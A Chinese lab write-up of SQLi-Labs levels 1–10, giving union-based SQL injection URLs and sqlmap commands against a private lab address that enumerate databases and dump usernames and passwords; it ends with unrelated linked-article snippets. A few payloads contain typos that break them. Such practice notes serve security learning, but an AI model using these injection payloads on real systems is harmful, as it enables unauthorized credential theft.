SQL注入 - SQLi-Labs靶场过关记录
Less-1
1、看报错类型,确定注入点
- ?id=1' order by 4--++
2、确定数据库
- ?id=-1' union select 1,2,3--++
3、查看数据库
- ?id=-1' union select 1,2,database();--++
4、查看数据库中的表
- ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--++
5、提取security数据库中的users表的信息
- ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--++
6、提取users表中的用户名和密码,注入完成
- ?id=1' union select 1,2,group_concat(username,"+",password) from security.users--++
Less - 2
1、直接测试报错
- ?id=1 order by 4--++
2、查询当前数据库名
- ?id=-1 union select 1,2,database();--++
3、查看当前数据库所有表名
- ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();--++
4、查看users表的结构信息
- ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--++
5、查询users表中的用户名和密码
- ?id=-1 union select 1,group_concat(username,"+",password),3 from security.users--++
Less - 3
1、测试报错,查看注入点
- ?id=1") order by 4--++
2、查看当前用户、数据库版本、当前数据库
- ?id=1') union select 1,2,group_concat(user(),"+",version(),"+",database());--++
3、查看security库中的表
- ?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--++
4、查看users表的结构
- ?id=1') union select 1,2,group_concat(columns_name) from information_schema.columns where table_name='users';--++
5、查看users表中的username和password,完成注入
- ?id=1') union select 1,2,group_concat(username,"+",password) from security.users;--++
Less - 4
1、测试报错,查找注入点
- ?id=1") order by 4--++
2、查看当前用户、数据库版本、当前数据库
- ?id=-1") union select 1,2,group_concat(user(),"+",version(),"+",database());--++
3、查看security库中的表
- ?id=-1") union group_concat(tables_name) from information_schema.tables where table_schema='security';--++
4、查看users表的结构,语句与上一关差不多
5、查看users表中的username和password,完成注入
Less - 5
1、测试报错
- ?id=1' order by 3--+
不报错,但无回显
- ?id=1' order by 4--+
报错,确定存在注入点
- ?id=1' union select 1,2,3--+
无数据回显,可能需要盲注
2、用sqlmap跑一下,测试报错注入
- sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'"
3、查询所有数据库
- sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --dbs -v 3
4、查询当前数据库
- sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --current-db -v 3
5、查询当前数据库下的表
- sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" --tables -v 3
6、发现有一个名为users的表,查询users的所有字段名
- sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" --columns -v 3
7、发现username和password字段,查询这两个字段
- sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" -C"username,password" --dump -v 3
Less - 6
1、测试报错
- http://192.168.40.128:86/Less-6/?id=1" order by 3--+
没有报错,但是也没有数据回显
- http://192.168.40.128:86/Less-6/?id=1" order by 4--+
报错,确定存在注入点
2、查询无回显,需要盲注
- http://192.168.40.128:86/Less-6/?id=1" union select 1,2,3--+
3、使用sqlmap测试注入点
- sqlmap -u http://192.168.40.128:86/Less-6/?id=1" -v 3
4、使用sqlmap盲注查询所有数据库
- sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --dbs
5、sqlmap查询当前数据库
- sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --current-db -v 3
6、sqlmap查询当前数据库security下的所有表
- sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" --tables -v 3
7、发现存在users表,查询该表中的所有字段
- sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" --columns -v 3
8、发现username和password字段,查询这两个字段的内容
- sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" -C"username,password" --dump -v 3
Less - 7
1、测试报错
- http://192.168.40.128:86/Less-7/?id=1')) order by 4--+
2、sqlmap测试报错注入点
- sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -v 3
3、sqlmap查询当前数据库
- sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" --current-db -v 3
4、sqlmap查询当前数据库下的所有表
- sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" --tables -v 3
5、发现存在users表,查询该表下所有字段名
- sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" --columns -v 3
6、发现字段username和password,查询内容
- sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" -C"username,password" --dump -v 3
Less - 8
1、测试报错
2、直接sqlmap跑注入点
- sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -v 3
3、sqlmap查询当前用户
- sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-user -v 3
4、sqlmap查询所有数据库
5、查询当前数据库
- sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-db -v 3
6、查询当前数据库下的所有表
- sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" --tables -v 3
7、发现users表,查询表中所有字段
- sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" -T"users" --columns -v 3
Less - 9
1、测试单双引号和字符均无报错,直接sqlmap测试
- sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -v 3
2、查询所有数据库
- sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --dbs -v 3
3、查询当前数据库与用户名
- sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --current-db --current-user -v 3
4、查询当前数据库下的所有表
- sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" --tables -v 3
5、发现users表,查询字段
- sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" --columns -v 3
6、发现username和password字段,查询内容
- sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" -C"username,password" --dump -v 3
Less - 10
1、使用sqlmap进行延时注入,level设置为3,可以测试双字符,线程设置为10
- sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9
- Payload: id=1" AND (SELECT 3880 FROM (SELECT(SLEEP(9)))aNIN) AND "Rweq"="Rweq
2、sqlmap测试当前数据库
- sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9 --current-db
当前数据库名:security
3、sqlmap测试当前数据库下的表名
- sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" --tables -v 3
当前数据库security下存在的表:emails、referes、uagents、users
4、直接爆数据
- sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" -T"users" -C"username,password" --dump -v 3
SQL注入 - SQLi-Labs靶场过关记录的更多相关文章
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- 【转载】以Java的视角来聊聊SQL注入
以Java的视角来聊聊SQL注入 原创 2017-08-08 javatiku Java面试那些事儿 在大二就接触过sql注入,之前一直在学习windows逆向技术,认为web安全以后不是自己的从业方 ...
- 简单SQL注入试探、二
DVWA——简单SQL注入小记 今天我们来记录简单的盲注过程 简单的SQL injection(blind) Level:low 登陆后选择SQL Injection(Blind) 能看到这样的界面 ...
- 2019-10-24:伪静态,VULHUB搭建靶场,宽字节sql注入,笔记
伪静态1,需要开启站点的重写机制,需要修改配httpd配置文件,将LoadModule rewrite_module modules/mod_rewrite.so注释取消,需要apache支持解析.h ...
- 第一次靶场练习:SQL注入(1)
SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- 靶场sql注入练手----sqlmap篇(纯手打)
靶场地址:封神台 方法一.首先尝试手工找注入点判断 第一步,判断是否存在sql注入漏洞 构造 ?id=1 and 1=1 ,回车,页面返回正常 构造 ?id=1 and 1=2 ,回车,页面不正常,初 ...
- Sqli labs系列-less-5&6 报错注入法(上)
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
- pick靶场-sql注入
甲.数字型注入 数字型注入一般提交值没有引号,所以直接在后面构造语句就可以了. 抓包查看 构造语句 提交后 该数据库表内容被爆出来了. 乙.字符型注入 首先我们要知道一点,字符串在数据库中提交是需要用 ...
随机推荐
- 在终端或idea编译工具中的terminal中运行mvn install 失败
原因是因为操作系统的差异导致,把所有参数加上引号即可. 如下所示: mvn install:install-file "-Dfile=cobra.jar" "-Dgrou ...
- 安装Varnish 及遇到的坑
转自:http://ixdba.blog.51cto.com/2895551/682555 一.安装Varnish Varnish的安装非常简单,下面逐步介绍: 1.安装前的准备 Varni ...
- UITableView的全部属性、方法以及代理方法执行顺序,看过之后肯定有收获---董鑫
UITableView-------表视图--继承UIScrollView并遵守NSCoding协议 属性 frame-------------设置控件的位置和大小 backgroundColor-- ...
- rsync 远程同步部署——上下行同步
rsync 远程同步部署--上下行同步 1.rsync (Remote Sync,远程同步) : 是一个开源的快速备份工具,可以在不同主机之间镜像同步整个目录树,支持增量备份,并保持链接和权限,且采用 ...
- MySQL 数据库高级操作 (配图)
MySQL数据库高级操作 1.一键部署mysql 数据库 2.数据表高级操作 3.数据库用户管理 4.数据库用户授权 1.首先一键部署mysql 数据库 : 可以看我之前的博客 https://www ...
- shell——eval exec
eval # cat test.sh echo \$$# eval "echo \$$#" # sh test.sh a b c $3 c shell的内建命令exec将并不启动新 ...
- LeetCode随缘刷题之盛最多水的容器
package leetcode.day_01_30; /** * 给你 n 个非负整数 a1,a2,...,an,每个数代表坐标中的一个点(i,ai) .在坐标内画 n 条垂直线,垂直线 i的两个端 ...
- Java两个整数相除保留n位小数
方式1:被除数转double后,除以除数,结果是一个double类型的数,将double结果按要求保留n位小数即可. 保留n位小数的写法 int a = 10; int b = 3; double r ...
- DubboSPI机制二之Dubbo中SPI初体验
Dubbo高级之一SPI机制之JDK中的SPI - 池塘里洗澡的鸭子 - 博客园 (cnblogs.com)中阐述了JDK标准的SPI,并对其应用做了相应的实践.在实际应用中,很多框架都会对其进行扩展 ...
- 针对Office宏病毒的高级检测
前言 攻击者可能发送带有恶意附件的钓鱼邮件,诱导受害者点击从而获取对方的系统控制权限 期间会借助 Atomic 工具完成攻击复现,再对具体的过程细节进行分析取证,然后深入研究.剖析其行为特征 最后输出 ...